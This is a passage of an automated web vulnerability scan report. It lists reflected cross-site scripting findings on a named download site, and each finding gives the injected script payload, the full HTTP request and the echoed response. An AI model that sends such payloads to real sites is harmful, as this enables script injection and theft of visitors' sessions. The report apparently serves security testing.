The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25089"><script>alert(1)</script>5548c734076 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html25089"><script>alert(1)</script>5548c734076 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:52 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2243%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html25089"><script>alert(1)</script>5548c734076" /> ...[SNIP]...
4.1652. http://www.x64bitdownload.com/categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e41d5"><script>alert(1)</script>6359a8cd029 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html?e41d5"><script>alert(1)</script>6359a8cd029=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2243%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html?e41d5"><script>alert(1)</script>6359a8cd029=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6549"><script>alert(1)</script>b1e5c16342 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesd6549"><script>alert(1)</script>b1e5c16342/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:30:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesd6549"><script>alert(1)</script>b1e5c16342/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fe78"><script>alert(1)</script>a8e92c56ad6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html2fe78"><script>alert(1)</script>a8e92c56ad6 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:03 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52768
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html2fe78"><script>alert(1)</script>a8e92c56ad6" /> ...[SNIP]...
4.1655. http://www.x64bitdownload.com/categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69b7b"><script>alert(1)</script>a8d922c9ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html?69b7b"><script>alert(1)</script>a8d922c9ee=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:07 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52770
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html?69b7b"><script>alert(1)</script>a8d922c9ee=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fed3a"><script>alert(1)</script>e871d75a71b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesfed3a"><script>alert(1)</script>e871d75a71b/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:32:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21354
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesfed3a"><script>alert(1)</script>e871d75a71b/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20d39"><script>alert(1)</script>36b459a9d64 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html20d39"><script>alert(1)</script>36b459a9d64 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2248%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77032
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html20d39"><script>alert(1)</script>36b459a9d64" /> ...[SNIP]...
4.1658. http://www.x64bitdownload.com/categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e19f5"><script>alert(1)</script>e0881237aee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html?e19f5"><script>alert(1)</script>e0881237aee=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:45 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2248%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77035
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html?e19f5"><script>alert(1)</script>e0881237aee=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40541"><script>alert(1)</script>0a50b7a4e8b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories40541"><script>alert(1)</script>0a50b7a4e8b/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:33:39 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21355
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories40541"><script>alert(1)</script>0a50b7a4e8b/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 597b7"><script>alert(1)</script>5a1bd81061d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html597b7"><script>alert(1)</script>5a1bd81061d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:33 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2249%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 78707
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html597b7"><script>alert(1)</script>5a1bd81061d" /> ...[SNIP]...
4.1661. http://www.x64bitdownload.com/categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6254b"><script>alert(1)</script>08a105a460f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html?6254b"><script>alert(1)</script>08a105a460f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:03 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2249%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 78710
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html?6254b"><script>alert(1)</script>08a105a460f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38933"><script>alert(1)</script>a091c5ce1f8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories38933"><script>alert(1)</script>a091c5ce1f8/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:32:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21348
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories38933"><script>alert(1)</script>a091c5ce1f8/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 880f5"><script>alert(1)</script>ffef72251bb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html880f5"><script>alert(1)</script>ffef72251bb HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2245%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html880f5"><script>alert(1)</script>ffef72251bb" /> ...[SNIP]...
4.1664. http://www.x64bitdownload.com/categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7afba"><script>alert(1)</script>952a07404a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html?7afba"><script>alert(1)</script>952a07404a0=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:50 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2245%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44107
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html?7afba"><script>alert(1)</script>952a07404a0=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab8db"><script>alert(1)</script>a8017a7f1a7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesab8db"><script>alert(1)</script>a8017a7f1a7/free-64-bit-communications-telephony-downloads-3-46-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:30:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21346
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesab8db"><script>alert(1)</script>a8017a7f1a7/free-64-bit-communications-telephony-downloads-3-46-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e91c"><script>alert(1)</script>e48652f16c2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html3e91c"><script>alert(1)</script>e48652f16c2 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:39 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2246%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html3e91c"><script>alert(1)</script>e48652f16c2" /> ...[SNIP]...
4.1667. http://www.x64bitdownload.com/categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5836"><script>alert(1)</script>5c1d810d2fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html?e5836"><script>alert(1)</script>5c1d810d2fe=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2246%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81577
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html?e5836"><script>alert(1)</script>5c1d810d2fe=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7253d"><script>alert(1)</script>294861f4a4e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories7253d"><script>alert(1)</script>294861f4a4e/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:32:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21351
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories7253d"><script>alert(1)</script>294861f4a4e/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html" /> ...[SNIP]...
